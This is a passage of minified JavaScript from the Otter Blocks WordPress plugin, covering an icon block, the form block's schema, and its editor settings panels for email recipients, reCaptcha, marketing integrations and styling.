.wp-block-themeisle-blocks-font-awesome-icons-container:hover`+(0,h.iC)([["color",r("textColorHover")],["background-color",r("backgroundColorHover")],["border-color",t.borderColorHover]]),`#block-${a} .wp-block-themeisle-blocks-font-awesome-icons-container a {`+(0,h.iC)([["color",r("textColor")]]),`#block-${a} .wp-block-themeisle-blocks-font-awesome-icons-container svg`+(0,h.iC)([["fill",r("textColor")]]),`#block-${a} .wp-block-themeisle-blocks-font-awesome-icons-container:hover svg`+(0,h.iC)([["fill",r("textColorHover")]])),(0,i.createElement)("span",{className:c()("wp-block-themeisle-blocks-font-awesome-icons-container",{"nan-padding":t.padding&&!(0,A.isNumber)(t.padding)})},"themeisle-icons"===t.library?(0,i.createElement)(n,null):(0,i.createElement)("i",{className:c()(`${t.prefix}`,`fa-${t.icon}`)}))))},save:({attributes:e})=>{const t=he.ZP.icons[e.icon],l=u.useBlockProps.save({id:e.id}),o=c()(`${e.prefix}`,`fa-${e.icon}`);return(0,i.createElement)("div",{...l},(0,i.createElement)("span",{className:c()("wp-block-themeisle-blocks-font-awesome-icons-container",{"nan-padding":e.padding&&!(0,A.isNumber)(e.padding)})},e.link?(0,i.createElement)("a",{href:e.link,target:e.newTab?"_blank":"_self",rel:"noopener noreferrer"},"themeisle-icons"===e.library?(0,i.createElement)(t,null):(0,i.createElement)("i",{className:o})):"themeisle-icons"===e.library?(0,i.createElement)(t,null):(0,i.createElement)("i",{className:o})))},example:{attributes:{fontSize:70}}});var ht=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/form","title":"Form","category":"themeisle-blocks","description":"Display a form for your clients. Powered by Otter.","keywords":["business","form","email"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"subject":{"type":"string"},"emailTo":{"type":"string"},"fromName":{"type":"string"},"optionName":{"type":"string"},"hasCaptcha":{"type":"boolean"},"provider":{"type":"string","default":""},"listId":{"type":"string"},"action":{"type":"string","default":"subscribe"},"submitLabel":{"type":"string"},"sendUserEmail":{"type":"boolean"},"redirectLink":{"type":"string"},"inputPadding":{"type":"object"},"inputPaddingTablet":{"type":"object"},"inputPaddingMobile":{"type":"object"},"labelColor":{"type":"string"},"helpLabelColor":{"type":"string"},"inputRequiredColor":{"type":"string"},"inputBorderRadius":{"type":["number","object"]},"inputBorderColor":{"type":"string"},"inputBorderWidth":{"type":["number","object"]},"submitMessage":{"type":"string"},"inputWidth":{"type":"number"},"submitMessageColor":{"type":"string"},"submitMessageErrorColor":{"type":"string"},"submitBackgroundColor":{"type":"string"},"submitBackgroundColorHover":{"type":"string"},"submitColor":{"type":"string"},"submitColorHover":{"type":"string"},"inputGap":{"type":"number"},"inputColor":{"type":"string"},"inputBackgroundColor":{"type":"string"},"inputsGap":{"type":"number"},"labelFontSize":{"type":"string"},"submitFontSize":{"type":"string"},"messageFontSize":{"type":"string"},"helpFontSize":{"type":"string"},"inputFontSize":{"type":"string"},"submitStyle":{"type":"string"},"submitStyleTablet":{"type":"string"},"submitStyleMobile":{"type":"string"},"isSynced":{"type":"array"},"buttonPadding":{"type":"object"},"buttonPaddingTablet":{"type":"object"},"buttonPaddingMobile":{"type":"object"}},"supports":{"align":["wide","full"]},"editorStyle":"otter-form-editor","style":"otter-form-style","script":"otter-form"}');const kt=[{attributes:{id:{type:"string"},subject:{type:"string"},emailTo:{type:"string"},optionName:{type:"string"},hasCaptcha:{type:"boolean"},provider:{type:"string",default:""},apiKey:{type:"string"},listId:{type:"string"},action:{type:"string",default:"subscribe"}},supports:{align:["wide","full"]},save:({attributes:e})=>{const t=e.provider&&e.apiKey&&e.listId,l=u.useBlockProps.save({id:e.id,className:c()({"is-subscription":t&&"subscribe"===e.action,"can-submit-and-subscribe":t&&"submit-subscribe"===e.action,"has-captcha":e.hasCaptcha}),"data-email-subject":e.subject,"data-option-name":e.optionName});return(0,i.createElement)("div",{...l},(0,i.createElement)("div",{className:"otter-form__container"},(0,i.createElement)(u.InnerBlocks.Content,null),(0,i.createElement)("div",{className:"wp-block-button"},(0,i.createElement)("button",{className:"wp-block-button__link"},"subscribe"===e.action?(0,o.__)("Subscribe","otter-blocks"):(0,o.__)("Submit","otter-blocks")))))}}];var yt=kt,ft=l(705),vt=l.n(ft),_t=l(8101),Ct=l.n(_t),wt=l(6989),Et=l.n(wt),xt=l(1984),St=l(7245);const Tt=(0,St.W6)((()=>(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs-inspector-tab-option__drag",tabIndex:0},(0,i.createElement)("span",null)))),Bt={text:(0,o.__)("Text Field","otter-blocks"),email:(0,o.__)("Email Field","otter-blocks"),date:(0,o.__)("Date Field","otter-blocks"),number:(0,o.__)("Number Field","otter-blocks"),textarea:(0,o.__)("Textarea Field","otter-blocks"),select:(0,o.__)("Select Field","otter-blocks"),checkbox:(0,o.__)("Checkbox Field","otter-blocks"),radio:(0,o.__)("Radio Field","otter-blocks"),file:(0,o.__)("File Field","otter-blocks"),url:(0,o.__)("URL Field","otter-blocks"),hidden:(0,o.__)("Hidden Field","otter-blocks"),stripe:(0,o.__)("Stripe Field","otter-blocks")},Mt=(0,St.W8)((({item:e,actions:t})=>{var l,a;const{inputField:n}=e,r=(e=>{const t=e?.name?.replace("themeisle-blocks/","");var l;return"form-input"===t||"form-multiple-choice"===t?null!==(l=e.attributes.type)&&void 0!==l?l:"text":"form-file"===t?"file":"form-hidden-field"===t?"hidden":"form-stripe-field"===t?"stripe":"textarea"})(n);return(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs-inspector-tab-option"},(0,i.createElement)(Tt,null),(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs-inspector-tab-option__name"},"stripe"===r?Bt.stripe:null!==(l=null!==(a=n?.attributes?.label)&&void 0!==a?a:Bt[r])&&void 0!==l?l:(0,o.__)("Invalid Field","otter-blocks")),(0,i.createElement)(p.Button,{icon:"edit",label:(0,o.__)("Edit Field","otter-blocks"),showTooltip:!0,className:"wp-block-themeisle-blocks-tabs-inspector-tab-option__actions",onClick:()=>t?.select?.(n.clientId)}),(0,i.createElement)(p.Button,{icon:"no-alt",label:(0,o.__)("Remove Field","otter-blocks"),showTooltip:!0,className:"wp-block-themeisle-blocks-tabs-inspector-tab-option__actions",onClick:()=>t?.delete?.(n.clientId)}))})),Pt=e=>{var t,l,a,n;const r=null!==(t=e?.options)&&void 0!==t?t:[{value:"full",label:(0,o.__)("100%","otter-blocks"),isDefault:!0},{value:"o-c-three-quarters",label:(0,o.__)("75%","otter-blocks")},{value:"o-c-two-thirds",label:(0,o.__)("66%","otter-blocks")},{value:"o-c-half",label:(0,o.__)("50%","otter-blocks")},{value:"o-c-one-third",label:(0,o.__)("33%","otter-blocks")},{value:"o-c-one-quarter",label:(0,o.__)("25%","otter-blocks")}],s=null!==(l=e?.value)&&void 0!==l?l:(0,h.tB)(r,e?.attributes?.className),c=null!==(a=e?.onChange)&&void 0!==a?a:t=>{let l=t;"full"===t&&(l=void 0);const o=(0,h.L4)(e?.attributes?.className,r,l);e?.setAttributes({className:o})};return(0,i.createElement)(p.__experimentalToggleGroupControl,{label:null!==(n=e.label)&&void 0!==n?n:(0,o.__)("Width","otter-blocks"),value:s,onChange:c,isBlock:!0},r.map((e=>(0,i.createElement)(p.__experimentalToggleGroupControlOption,{key:e.value,value:e.value,label:e.label}))))},zt=()=>[{label:(0,o.__)("Checkbox","otter-blocks"),value:"checkbox"},{label:(0,o.__)("Date","otter-blocks"),value:"date"},{label:(0,o.__)("Email","otter-blocks"),value:"email"},{label:Boolean(window.otterPro?.isActive)&&!Boolean(window.otterPro?.isExpired)?(0,o.__)("File","otter-blocks"):(0,o.__)("File (Pro)","otter-blocks"),value:"file"},{label:Boolean(window.otterPro?.isActive)&&!Boolean(window.otterPro?.isExpired)?(0,o.__)("Hidden","otter-blocks"):(0,o.__)("Hidden (Pro)","otter-blocks"),value:"hidden"},{label:(0,o.__)("Number","otter-blocks"),value:"number"},{label:(0,o.__)("Radio","otter-blocks"),value:"radio"},{label:(0,o.__)("Select","otter-blocks"),value:"select"},{label:Boolean(window.otterPro?.isActive)&&!Boolean(window.otterPro?.isExpired)?(0,o.__)("Stripe","otter-blocks"):(0,o.__)("Stripe (Pro)","otter-blocks"),value:"stripe"},{label:(0,o.__)("Text","otter-blocks"),value:"text"},{label:(0,o.__)("Textarea","otter-blocks"),value:"textarea"},{label:(0,o.__)("URL","otter-blocks"),value:"url"}],Ft=(e,t,l)=>{if(!e||!t||!l)return;const{replaceBlock:o}=(0,m.dispatch)("core/block-editor"),n=(0,h.nG)([["textarea"===e,"form-textarea"],["select"===e||"checkbox"===e||"radio"===e,"form-multiple-choice"],["file"===e,"form-file"],["hidden"===e,"form-hidden-field"],["stripe"===e,"form-stripe-field"],["form-input"]]);o(t,(0,a.createBlock)(`themeisle-blocks/${n}`,(0,A.omit)({...l,type:e},"form-textarea"===n?["multipleSelection","options","type"]:["multipleSelection","options"])))},Rt=[{label:"",value:"hidden-label"}],Lt=e=>{const{attributes:t,setAttributes:l}=e;return(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Hide Label","otter-blocks"),checked:Boolean((0,h.tB)(Rt,t?.className)),onChange:e=>{const o=(0,h.L4)(t?.className,Rt,e?"hidden-label":void 0);l?.({className:o})}})},Ot=e=>["input","textarea","multiple-choice","file","hidden-field","stripe-field"].some((t=>e?.startsWith(`themeisle-blocks/form-${t}`))),It=e=>e?.innerBlocks?.map((e=>Ot(e?.name)?e:"themeisle-blocks/form"!==e?.name&&e?.innerBlocks?.length?It(e)?.flat():void 0))?.flat(),Ht=(0,i.createElement)(b.Fragment,null,(0,o.__)("Allow easy identification of the field.","otter-blocks"),(0,i.createElement)(p.ExternalLink,{href:"https://docs.themeisle.com/article/1878-how-to-use-webhooks-in-otter-forms#mapped-name"}," ",(0,o.__)("Learn More","otter-blocks")," ")),Nt=(0,St.W6)((()=>(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs-inspector-tab-option__drag",tabIndex:"0"},(0,i.createElement)("span",null)))),At=(0,St.W8)((e=>(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Set as default or reorder","otter-blocks"),placement:"left-start",delay:1800},(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs-inspector-tab-option"},e?.useRadio?(0,i.createElement)(b.Fragment,null,(0,i.createElement)("div",{style:{width:"13px",marginLeft:"8px"}},(0,i.createElement)("input",{type:"radio",checked:e?.tab?.isDefault,onChange:e?.setAsDefault,name:"default-tab"}))):(0,i.createElement)(p.CheckboxControl,{checked:e?.tab?.isDefault,onChange:e?.setAsDefault}),(0,i.createElement)(Nt,null),(0,i.createElement)(u.RichText,{onChange:e.onLabelChange,value:e?.tab?.content,placeholder:(0,o.__)("Click to Edit","otter-blocks"),tagName:"div",className:"wp-block-themeisle-blocks-tabs-inspector-tab-option__name"}),(0,i.createElement)(p.Button,{icon:"no-alt",label:(0,o.__)("Remove Tab","otter-blocks"),showTooltip:!0,className:"wp-block-themeisle-blocks-tabs-inspector-tab-option__actions",onClick:e?.deleteTab}))))),Vt=e=>e?.[1]&&e[0]!==e[1],Dt=[{name:(0,o.__)("Small","otter-blocks"),size:"0.875em",slug:"small"},{name:(0,o.__)("Medium","otter-blocks"),size:"1em",slug:"medium"},{name:(0,o.__)("Large","otter-blocks"),size:"1.125em",slug:"large"},{name:(0,o.__)("XL","otter-blocks"),size:"1.25em",slug:"xl"}],Gt=({formOptions:e,setFormOption:t,attributes:l,setAttributes:a})=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.__experimentalToolsPanelItem,{hasValue:()=>!1,label:(0,o.__)("Email To","otter-blocks"),isShownByDefault:!0,className:"is-first"},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Email To","otter-blocks"),placeholder:(0,o.__)("Default is to admin site","otter-blocks"),type:"email",value:e.emailTo,onChange:e=>t({emailTo:e}),help:(0,o.__)("Default is site administrator.","otter-blocks")})),(0,i.createElement)(p.__experimentalToolsPanelItem,{hasValue:()=>Boolean(e.cc),label:(0,o.__)("CC","otter-blocks"),onDeselect:()=>t({cc:""}),isShownByDefault:!1},(0,i.createElement)(p.TextControl,{label:(0,o.__)("CC","otter-blocks"),placeholder:(0,o.__)("Send copies to","otter-blocks"),type:"text",value:e.cc,onChange:e=>t({cc:e}),help:(0,o.__)("Add emails separated by commas: example1@otter.com, example2@otter.com.","otter-blocks")})),(0,i.createElement)(p.__experimentalToolsPanelItem,{hasValue:()=>Boolean(e.bcc),label:(0,o.__)("BCC","otter-blocks"),onDeselect:()=>t({bcc:""}),isShownByDefault:!1},(0,i.createElement)(p.TextControl,{label:(0,o.__)("BCC","otter-blocks"),placeholder:(0,o.__)("Send copies to","otter-blocks"),type:"text",value:e.bcc,onChange:e=>t({bcc:e}),help:(0,o.__)("Add emails separated by commas: example1@otter.com, example2@otter.com.","otter-blocks")})),(0,i.createElement)(p.__experimentalToolsPanelItem,{hasValue:()=>!1,label:(0,o.__)("Email Subject","otter-blocks"),isShownByDefault:!0},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Email Subject","otter-blocks"),placeholder:(0,o.__)("A new submission","otter-blocks"),value:e.subject,onChange:e=>t({subject:e}),help:(0,o.__)("Enter the title of the email.","otter-blocks")})),(0,i.createElement)(p.__experimentalToolsPanelItem,{hasValue:()=>Boolean(e.fromName),label:(0,o.__)("From Name","otter-blocks"),onDeselect:()=>t({fromName:""}),isShownByDefault:!1},(0,i.createElement)(p.TextControl,{label:(0,o.__)("From Name","otter-blocks"),value:e.fromName,onChange:e=>t({fromName:e}),help:(0,o.__)("Set the name of the sender. Some SMTP plugins might override this value.","otter-blocks")})),(0,i.createElement)(p.__experimentalToolsPanelItem,{hasValue:()=>Boolean(e.redirectLink),label:(0,o.__)("Redirect on Submit","otter-blocks"),onDeselect:()=>t({redirectLink:""}),isShownByDefault:!1},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Redirect on Submit","otter-blocks"),type:"url",placeholder:(0,o.__)("https://example.com","otter-blocks"),value:e.redirectLink,onChange:e=>t({redirectLink:e}),help:(0,o.__)("Redirect the user to another page when submit is successful.","otter-blocks")}),e.redirectLink&&(0,i.createElement)(p.ExternalLink,{href:e.redirectLink,style:{marginBottom:"10px",display:"block"}},(0,o.__)("Preview Redirect link.","otter-blocks"))),(0,i.createElement)(p.__experimentalToolsPanelItem,{hasValue:()=>!0===l.hasCaptcha,label:(0,o.__)("Enable reCaptcha","otter-blocks"),onSelect:()=>a({hasCaptcha:!0}),onDeselect:()=>a({hasCaptcha:!1}),isShownByDefault:!1},(0,i.createElement)(g.qX,{notice:(0,i.createElement)("div",null,(0,o.__)("Captcha is activated. You can modify the API Keys in Integrations tab from Settings > Otter.","otter-blocks"),(0,i.createElement)(p.ExternalLink,{href:window?.themeisleGutenberg?.optionsPath},(0,o.__)("Go to Dashboard.","otter-blocks"))),variant:"help"})),!Boolean(window.themeisleGutenberg?.hasPro)&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.__experimentalToolsPanelItem,{hasValue:()=>void 0!==e.submissionsSaveLocation,label:(0,o.__)("Submissions","otter-blocks"),onDeselect:()=>t({submissionsSaveLocation:void 0}),isShownByDefault:!0},(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Save Location","otter-blocks"),value:"email",onChange:()=>{},options:[{label:(0,o.__)("Database (Pro)","otter-blocks"),value:"database"},{label:(0,o.__)("Email Only","otter-blocks"),value:"email"},{label:(0,o.__)("Database and Email (Pro)","otter-blocks"),value:"database-email"}],help:(0,o.__)("The submissions are send only via email. No data will be saved on the server, use this option to handle sensitive data.","otter-blocks")}),(0,i.createElement)("div",null,(0,i.createElement)(g.qX,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"form-block")},(0,o.__)("Unlock this with Otter Pro.","otter-blocks")),variant:"upsell"}),(0,i.createElement)("p",{className:"description"},(0,o.__)("Enhance your email process with our new feature. Store submissions in a database for easy access.","otter-blocks")))),(0,i.createElement)(p.__experimentalToolsPanelItem,{hasValue:()=>!1,label:(0,o.__)("Autoresponder","otter-blocks"),onDeselect:()=>{}},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Autoresponder Subject","otter-blocks"),placeholder:(0,o.__)("Confirmation of your subscription","otter-blocks"),value:void 0,onChange:()=>{},help:(0,o.__)("Enter the subject of the autoresponder email.","otter-blocks"),disabled:!0,className:"o-disabled"}),(0,i.createElement)(p.TextareaControl,{label:(0,o.__)("Autoresponder Body","otter-blocks"),placeholder:(0,o.__)("Thank you for subscribing!","otter-blocks"),rows:2,value:void 0,onChange:()=>{},help:(0,o.__)("Enter the body of the autoresponder email.","otter-blocks"),disabled:!0,className:"o-disabled"}),(0,i.createElement)("div",null,(0,i.createElement)(g.qX,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"form-block")},(0,o.__)("Unlock this with Otter Pro.","otter-blocks")),variant:"upsell"}),(0,i.createElement)("p",{className:"description"},(0,o.__)("Automatically send follow-up emails to your users with the Autoresponder feature.","otter-blocks")))),(0,i.createElement)(p.__experimentalToolsPanelItem,{hasValue:()=>void 0!==e.webhookId,label:(0,o.__)("Webhook","otter-blocks"),onDeselect:()=>t({webhookId:void 0}),isShownByDefault:!0},(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Webhook","otter-blocks"),disabled:!0,value:void 0,options:[{label:(0,o.__)("Select Webhook","otter-blocks"),value:""}],onChange:void 0}),(0,i.createElement)("br",null),(0,i.createElement)(p.Button,{variant:"secondary",onClick:void 0,disabled:!0,className:"wp-block-themeisle-blocks-tabs-inspector-add-tab"},(0,o.__)("Edit Webhooks","otter-blocks")),(0,i.createElement)("br",null),(0,i.createElement)(p.ExternalLink,{href:"https://docs.themeisle.com/article/1550-otter-pro-documentation"},(0,o.__)("Learn more about webhooks.","otter-blocks")),(0,i.createElement)("div",null,(0,i.createElement)(g.qX,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"form-block")},(0,o.__)("Unlock this with Otter Pro.","otter-blocks")),variant:"upsell"}),(0,i.createElement)("p",{className:"description"},(0,o.__)("Trigger webhooks on Form submit action.","otter-blocks"))))));var jt=({attributes:e,setAttributes:t})=>{var l,a,n,r,s,c,d,m;const[f,v]=(0,y.useTabSwitch)(e.id,"settings"),[_,C]=(0,b.useState)("normal"),{responsiveSetAttributes:w,responsiveGetAttributes:E}=(0,k.Y)(t),{listIDOptions:x,setListIDOptions:S,saveIntegration:T,savedFormOptions:B,sendTestEmail:M,loadingState:P,formOptions:z,setFormOption:F,testService:R,hasEmailField:L,children:O,inputFieldActions:I,hasInnerBlocks:H}=(0,b.useContext)(qt),N=(e=>{var t;return null!==(t=e?.map((e=>Ot(e?.name)?{parentClientId:e?.clientId,inputField:e}:"themeisle-blocks/form"!==e?.name&&e?.innerBlocks?.length?It(e).filter((e=>void 0!==e)).map((t=>({parentClientId:e?.clientId,inputField:t}))):void 0)).flat().filter((e=>void 0!==e)))&&void 0!==t?t:[]})(O),V=($=[[z.provider,B?.integration?.provider],[z.listId,B?.integration?.listId],[z.action,B?.integration?.action]],Boolean(0<$.filter(Vt).length));var $;const U=(0,St.JN)((({items:e})=>(0,i.createElement)("div",null,e.map(((e,t)=>(0,i.createElement)(Mt,{key:e.inputClientId,index:t,item:e,actions:I}))))));return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:f,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:v}),(0,i.createElement)("div",null,"settings"===f&&(0,i.createElement)(b.Fragment,null,H&&(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Input Fields","otter-blocks"),initialOpen:!0},(0,i.createElement)("p",null,(0,o.__)("Press and hold to use drag and drop to sort the tabs","otter-blocks")),0<O?.length&&(0,i.createElement)(U,{items:N,onSortEnd:({oldIndex:e,newIndex:t})=>{I.move(N?.[e]?.parentClientId,t)},useDragHandle:!0,axis:"y",lockAxis:"y"}),(0,i.createElement)(p.Button,{variant:"secondary",className:"wp-block-themeisle-blocks-tabs-inspector-add-tab",onClick:()=>I?.add?.("themeisle-blocks/form-input")},(0,o.__)("Add Input Field","otter-blocks"))),(0,i.createElement)(p.__experimentalToolsPanel,{label:(0,o.__)("Form Options"),className:"o-form-options"},"loading"===P?.formOptions&&(0,i.createElement)("div",{className:"o-fetch-msg"},(0,i.createElement)(p.Spinner,null),(0,o.__)("Loading the options. Please wait...","otter-blocks")),"error"===P?.formOptions&&(0,i.createElement)("div",{className:"o-fetch-msg o-error"},(0,o.__)("An error has occurred while saving. Please try again.","otter-blocks")),"loading"!==P?.formOptions&&(0,i.createElement)(b.Fragment,null,(0,Fe.applyFilters)("otter.formBlock.options",(0,i.createElement)(Gt,{formOptions:z,setFormOption:F,attributes:e,setAttributes:t}),z,F,(0,b.useContext)(qt),e))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Marketing Integration","otter-blocks"),initialOpen:!1},(0,o.__)("Add your client email to a Digital Marketing provider.","otter-blocks"),(0,i.createElement)("br",null)," ",(0,i.createElement)("br",null),(0,i.createElement)("b",null,(0,o.__)("You need to have at least one email field in your form. For multiple email fields, only the first will be used.","otter-blocks")),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Provider","otter-blocks"),value:z.provider,options:[{label:(0,o.__)("None","otter-blocks"),value:""},{label:(0,o.__)("Mailchimp","otter-blocks"),value:"mailchimp"},{label:(0,o.__)("Sendinblue","otter-blocks"),value:"sendinblue"}],onChange:t=>{window.oTrk?.add({feature:"marketing",featureComponent:"provider",featureValue:t,groupID:e.id}),F({provider:t,listId:"",apiKey:""})}}),z.provider&&(0,i.createElement)(b.Fragment,null,!z.apiKey&&(0,i.createElement)(b.Fragment,null,"mailchimp"===z?.provider&&(0,i.createElement)(p.ExternalLink,{href:"https://us5.admin.mailchimp.com/account/api/",style:{marginBottom:"10px",display:"block"},target:"_blank"},(0,o.__)("Guide to generate the API Key.","otter-blocks")),"sendinblue"===z?.provider&&(0,i.createElement)(p.ExternalLink,{href:"https://help.sendinblue.com/hc/en-us/articles/209467485-What-s-an-API-key-and-how-can-I-get-mine-",style:{marginBottom:"10px",display:"block"},target:"_blank"},(0,o.__)("Guide to generate the API Key.","otter-blocks"))),(0,i.createElement)(p.TextControl,{label:(0,o.__)("API Key","otter-blocks"),help:(0,o.__)("You can find the key in the provider's website","otter-blocks"),value:z.apiKey?`*************************${z.apiKey.slice(-8)}`:"",onChange:t=>{window.oTrk?.add({feature:"marketing",featureComponent:"api-key",groupID:e.id}),S([]),F({listId:"",apiKey:t})}}),z.apiKey&&2>x.length&&"loading"===P?.listId&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Spinner,null),(0,o.__)("Loading the options.","otter-blocks"),(0,i.createElement)("br",null),(0,i.createElement)("br",null)),z.apiKey&&"error"===P?.listId&&(0,i.createElement)(b.Fragment,null,(0,o.__)("Invalid API Key. Please check your API Key in the provider's Dashboard.","otter-blocks"),(0,i.createElement)(p.ExternalLink,{target:"_blank",style:{marginBottom:"10px",display:"block"},href:"sendinblue"===z.provider?"https://account.sendinblue.com/advanced/api":"https://us5.admin.mailchimp.com/account/api/"},(0,o.__)("Go to Dashboard.","otter-blocks"))),z.apiKey&&"timeout"===P?.listId&&(0,i.createElement)("p",null,(0,o.__)("Could no connect to the server. Please try again.","otter-blocks")),z.apiKey&&"done"===P?.listId&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Contact List","otter-blocks"),value:z.listId,options:x,onChange:t=>{window.oTrk?.set(`${e.id}_list`,{feature:"marketing",featureComponent:"contact-list",groupID:e.id}),F({listId:t})}}),1>=x?.length&&(0,i.createElement)("p",null," ",(0,o.__)("No Contact list found. Please create a list in your provider interface or check if the API key is correct.","otter-blocks")," "),2<=x?.length&&z.listId&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Submit Action","otter-blocks"),value:z.action,options:[{label:(0,o.__)("Default","otter-blocks"),value:""},{label:(0,o.__)("Subscribe Only","otter-blocks"),value:"subscribe"},{label:(0,o.__)("Submit & Subscribe","otter-blocks"),value:"submit-subscribe"}],onChange:t=>{window.oTrk?.set(`${e.id}_action`,{feature:"marketing",featureComponent:"action",featureValue:t,groupID:e.id}),F({action:t})}}),(!z.action||"submit-subscribe"===z.action)&&(0,i.createElement)("div",{style:{marginBottom:"10px"}},(0,o.__)("Adds the client to your contact list and emails form data to the specified 'Form to' address or the admin. Includes a checkbox for third-party data-sharing consent.","otter-blocks")),"subscribe"===z.action&&(0,i.createElement)("div",{style:{marginBottom:"10px"}},(0,o.__)("Add users to the contact list and skip email alerts for each submission. Ideal for news letter sign-up forms.","otter-blocks")),"subscribe"===z.action&&("email"===z.submissionsSaveLocation||!Boolean(window?.otterPro?.isActive))&&(0,i.createElement)("div",{style:{marginBottom:"10px"}},(0,o.__)("By skipping the email alerts you will lose the data from other fields. If this is a problem, we recommend switching to Database saving or using Submit & Subscribe Action","otter-blocks"))))),"loading"===P?.formIntegration&&(0,i.createElement)("div",{className:"o-fetch-msg"},(0,i.createElement)(p.Spinner,null),(0,o.__)("Fetching data from server. Please wait.","otter-blocks")),(0,i.createElement)("div",{style:{display:"flex",flexDirection:"row",gap:"10px"}},(0,i.createElement)(p.Button,{variant:"primary",onClick:T,isBusy:"saving"===P?.formIntegration},"saving"===P?.formIntegration?(0,o.__)("Saving","otter-blocks"):(0,o.__)("Save","otter-blocks")),e.optionName&&B?.integration?.provider&&B?.integration?.apiKey&&B?.integration?.listId&&(0,i.createElement)(p.Button,{variant:"secondary",onClick:R,isBusy:"saving"===P?.serviceTesting},(0,o.__)("Test Service","otter-blocks"))),"done"===P?.formIntegration&&V&&(0,i.createElement)("div",{className:"o-fetch-msg"},(0,o.__)("You have made some modifications. Do not forget to save the options.","otter-blocks")),"done"===P?.serviceTesting&&(0,i.createElement)("div",{className:"o-fetch-msg"},(0,o.__)("Remember to delete the test email from your provider's contact list.","otter-blocks")),"done"===P?.formIntegration&&z?.apiKey&&z?.listId&&!L&&(0,i.createElement)("div",{className:"o-fetch-msg o-error"},(0,o.__)("Please add a Text Field with Email as type in your form for email registration.","otter-blocks")),"error"===P?.formIntegration&&(0,i.createElement)("div",{className:"o-fetch-msg o-error"},(0,o.__)("An error has occurred while saving. Please try again.","otter-blocks"))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Submit Messages","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.TextareaControl,{label:(0,o.__)("Success Message","otter-blocks"),placeholder:(0,o.__)("Success","otter-blocks"),value:z.submitMessage,onChange:e=>F({submitMessage:e}),help:(0,o.__)("Show this message after the form was successfully submitted.","otter-blocks")}),(0,i.createElement)(p.TextareaControl,{label:(0,o.__)("Error Message","otter-blocks"),placeholder:(0,o.__)("Error. Please try again.","otter-blocks"),value:z.errorMessage,onChange:e=>F({errorMessage:e}),help:(0,o.__)("This message will be displayed when there is a problem with the server.")})),(0,i.createElement)(g.p,null)),"style"===f&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(g._X,{label:(0,o.__)("Form Color","otter-blocks"),isSynced:null!==(l=e.isSynced)&&void 0!==l?l:[],initialOpen:!0,setAttributes:t,options:[{value:e.labelColor,label:(0,o.__)("Label","otter-blocks"),slug:"labelColor"},{value:e.inputColor,label:(0,o.__)("Input Text","otter-blocks"),slug:"inputColor"},{value:e.inputBackgroundColor,label:(0,o.__)("Input Background","otter-blocks"),slug:"inputBackgroundColor"},{value:e.inputBorderColor,label:(0,o.__)("Border","otter-blocks"),slug:"inputBorderColor"},{value:e.helpLabelColor,label:(0,o.__)("Helper Label","otter-blocks"),slug:"helpLabelColor"},{value:e.inputRequiredColor,label:(0,o.__)("Required Label","otter-blocks"),slug:"inputRequiredColor"},{value:e.submitMessageColor,label:(0,o.__)("Success Message","otter-blocks"),slug:"submitMessageColor"},{value:e.submitMessageErrorColor,label:(0,o.__)("Error Message","otter-blocks"),slug:"submitMessageErrorColor"}]}),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Button","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Font Size","otter-blocks"),value:"submitFontSize"},{label:(0,o.__)("Normal Text Color","otter-blocks"),value:"submitColor"},{label:(0,o.__)("Normal Background Color","otter-blocks"),value:"submitBackgroundColor"},{label:(0,o.__)("Hover Text Color","otter-blocks"),value:"submitColorHover"},{label:(0,o.__)("Hover Background Color","otter-blocks"),value:"submitBackgroundColorHover"},{label:(0,o.__)("Padding","otter-blocks"),value:E(["buttonPadding","buttonPaddingTablet","buttonPaddingMobile"])}],setAttributes:t}),(0,i.createElement)(g.Ik,{value:_,onChange:C,options:[{label:"Normal",value:"normal"},{label:"Hover",value:"hover"}]}),(0,i.createElement)("br",null),"normal"===_&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(ae,{attributes:e,attr:"submitColor"},(0,i.createElement)(g.Ed,{label:(0,o.__)("Text","otter-blocks"),colorValue:e.submitColor,onColorChange:e=>t({submitColor:e}),className:"is-list 